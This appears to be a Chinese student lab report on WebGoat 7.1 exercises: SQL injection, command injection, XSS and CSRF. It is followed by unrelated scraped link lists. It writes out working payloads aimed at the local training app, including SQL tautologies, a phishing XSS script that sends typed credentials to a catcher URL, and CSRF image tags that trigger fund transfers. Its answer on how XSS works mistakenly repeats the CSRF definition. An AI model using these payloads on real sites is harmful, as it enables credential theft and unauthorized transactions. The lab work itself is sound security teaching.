Web安全基础实践
Web安全基础实践
标签(空格分隔): <<网络对抗>>
目录
- 基础问题回答
- WebGoat下载安装
- SQL注入攻击
- SQL字符串注入(String SQL Injection)
- 数字型SQL注入(Numeric SQL Injection)
- 命令注入(Command Injection)
- Stage 1:String SQL Injection - XSS攻击
- Phishing with XSS
- Stored XSS Attacks
- Block Reflected XSS
- Reflected XSS Attacks(反射型XSS) - CSRF攻击
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
- CSRF Token By-Pass没做出来 - 实验体会
基础问题回答
- SQL注入攻击原理,如何防御?
- 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
- XSS攻击的原理,如何防御?
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sess ionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利 用,通过伪装来自受信任用户的请求来利用受信任的网站。是一 种依赖web浏览器的、被混淆过的代理人攻击。
- 防御
1. 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会 对“javascript”这个关键字进行检索,一旦发现提交信息中包 含“javascript”,就认定为XSS攻击。
2. 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3. 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
- CSRF攻击原理,如何防御?
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御
1. 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2. “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
3. 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
WebGoat
- ** WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。**
- 去找了好多资源下载,都是被墙掉了。
- 虽然webgoat已经有V8了 但是在网上大家都说7.1最稳定,所以我们使用的是webgoat v7.1
webgoat v7.1 百度云下载
提取码:
xkxh
开启
webgoat
下载好webgoat的jar文件后,执行java -jar webgoat-container-7.1-exec.jar
- 打开浏览器输入localhost:8080/WebGoat
注意W G大写。
SQL字符串注入(String SQL Injection)
造成这个问题的原因是编码问题,可以让程序员背锅的,毕竟可以说是他们编写的代码质量不过关导致的。
- SQL注入攻击,入手点在web 但是从根本上来说是SQL的问题。- 尝试注入一个SQL字符串,以显示所有信用卡号码。 尝试使用'Smith'的用户名。
- 图片中可以看到提供的源码
SELECT * FROM user_data WHERE last_name = 'Smith'
收索数据库user_data
只要出现Smith就显示出来。 - 输入
'or 1='1
,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1'
,这句的意思就是查询lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,所以不管姓啥都是对的,都能被显示出来,这是最简单的SQL注入攻击。还有使用注释符去注释掉密码,从而登入数据库的等等。主要防御方式是字符串过滤。下图是结果。
日志欺骗(Log Spoofing)
- 利用日志的格式,使用换行等字符,欺骗管理员
- url参数带有%0d%0a , 在servlet里得到包含这个字段的string时, %0d%0a 会被转义为回车。还是代码编码问题。
数字型SQL注入(Numeric SQL Injection)
- 题目要求:下面的表格允许用户查看天气数据。 尝试注入一个导致所有天气数据显示的SQL字符串。
- 原理就是构造永真式
- 成功
命令注入(Command Injection)
- 题目的要求是:尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令
- 通过火狐浏览器的inspect Element
对源代码进行修改
- 成功截图如下。
Stage 1:String SQL Injection
- 要求,使用字符串注入在没有正确密码的情况下登录账号boss
- 第一反应测试一下 有没有过滤字符。
- 查看了一下源码发现了小秘密
- 可以入手了,使用
'or 1=1 --'
隐去密码试试可以登录么。
- 失败了,会想起在看代码时 发现源码对密码长度进行了限制
- 修改一下试试
- 成功了 截图如下
Phishing with XSS
- 这是跨站脚本钓鱼攻击,要求在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 结果如下
Stored XSS Attacks
- 要求创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
- 在Message中构造语句
<script>alert("5329 attack succeed!");</script>
,提交后,可以发现刚刚创建的帖子20155229
Block Reflected XSS
- 登陆larry用户,修改用户资料,把Street修改为
<script>alert('xss')</script>
Update
更新数据,显示下图。说明这个XSS是可行的。
3 .然后退出Larry用户,登陆Moe查看Larry的信息,验证攻击是否成功~
- SUCCESS!!
Reflected XSS Attacks(反射型XSS)
Cross Site Request Forgery(CSRF)
- 攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等
- 写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
- 在massage 框里输入
<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=5329"/>
- 像我这种手贱的人,一点图片 钱就没了。钱没了
CSRF Prompt By-Pass
- 分析
- 这个攻击需要两部,一次输入转账的数目,第二次确认,没有验证码的时代好危险。。。。
<img src="?transferFunds=4000" />
<img src="?transferFunds=CONFIRM" />
CSRF Token By-Pass
- 题目要求
- 需要获取有效的请求令牌。 提供转账资金表单的页面包含一个有效的请求令牌。
- 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。 - 额 没做出来。
实验体会
- 本次实验中在SQL注入的花费的时间最多,看源码看的眼睛疼。在看代码的同时巩固了上学期的Web知识。也深深领会到了代码质量的重要性。对XSS和CRSF也有了一定的认识
Web安全基础实践的更多相关文章
- 20145306 网路攻防 web安全基础实践
20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...
- 20145334赵文豪网络对抗Web安全基础实践
1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...
- 20145335郝昊《网络攻防》Exp9 Web安全基础实践
20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...
- 《网络攻防》Web安全基础实践
20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155304 《网络对抗》Exp9 web安全基础实践
20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...
- 20155306白皎 《网络对抗》 Exp9 Web安全基础实践
20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...
- 20145336 张子扬 《网络对抗技术》 web安全基础实践
2014536 张子扬<网络攻防>Exp9 Web安全基础实践 实验准备 开启webgoat 1)开启webgoat,打开WebGoat: java -jar webgoat-contai ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145120黄玄曦《网络对抗》Web安全基础实践
20145120黄玄曦<网络对抗>Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 SQL注入原理简单地说大概是,通过构造特殊的SQL命令提交表单,让服务器执行构造的恶意S ...
随机推荐
- 【转】qt-vs-addin:Qt4和Qt5之VS插件如何共存与使用
原则上,两者是不可以同时存在的,但是如果都安装了,该如何分别使用他们呢? Qt4 Visual Studio Add-in:官网可以下载安装程序,qt-vs-addin-1.1.11-opensour ...
- Python环境下如何安装爬虫需求的一些库
是在CMD环境下的: request库pip install request 回车 pandas库 同理,pip install pandas :这里需要声明下,这个是不一定成功的,刚入门稍微看了一点 ...
- 使用Eclipse Debug的一些说明
目录 Debug视图 线程堆栈视图 变量视图 断点视图 表达式视图 代码视图 远程Debug 异常断点 条件断点 表达式 Debug定位第三方插件的问题 Debug一些经验 Debug视图 认识d ...
- 利用percona-toolkit定位数据库性能问题
当你的性能瓶颈卡在数据库这块的时候,可以通过percona-toolkit来进行问题定位. 那么,首先,介绍下percona-toolkit.percona-toolkit是一组高级命令行工具的集合, ...
- UNIX高级环境编程(15)进程和内存分配 < 故宫角楼 >
故宫角楼是很多摄影爱好者常去的地方,夕阳余辉下的故宫角楼平静而安详. 首先,了解一下进程的基本概念,进程在内存中布局和内容. 此外,还需要知道运行时是如何为动态数据结构(如链表和二叉树)分配额外内 ...
- python字典的基本操作
字典的基本方法 什么是字典: 字典是一种 key - value的数据类型,听alex说就像我们上学用的字典,通过笔划,字母来查找对饮页面的详细内容. 语法: id_dict = { 'stu1101 ...
- [IDEA_6] IDEA 集成 Python
0. 说明 在 IDEA 中集成 Python 1. IDEA 集成 Python 1.1 Ctrl + Alt + S 进入设置 依次选中 Settings --> Plugins -- ...
- selenium-百度搜索框输入后,定位联想下拉框元素
1.输入关键字后,显示联想下拉框,鼠标右键对应的联想字段,点击检查,就可在F12模式下元素查看器中定位到,之后使用Xpath定位.
- 读高性能JavaScript编程 第一章
草草的看完第一章,虽然看的是译文也是感觉涨姿势了, 我来总结一下: 由于 大多数浏览器都是 single process 处理 ui updatas and js execute 于是产生问题: js ...
- Windows Phone 8 获取与监听网络连接状态(转)
原文地址:http://www.cnblogs.com/sonic1abc/archive/2013/04/02/2995196.html 现在的只能手机对网络的依赖程度都很高,尤其是新闻.微博.音乐 ...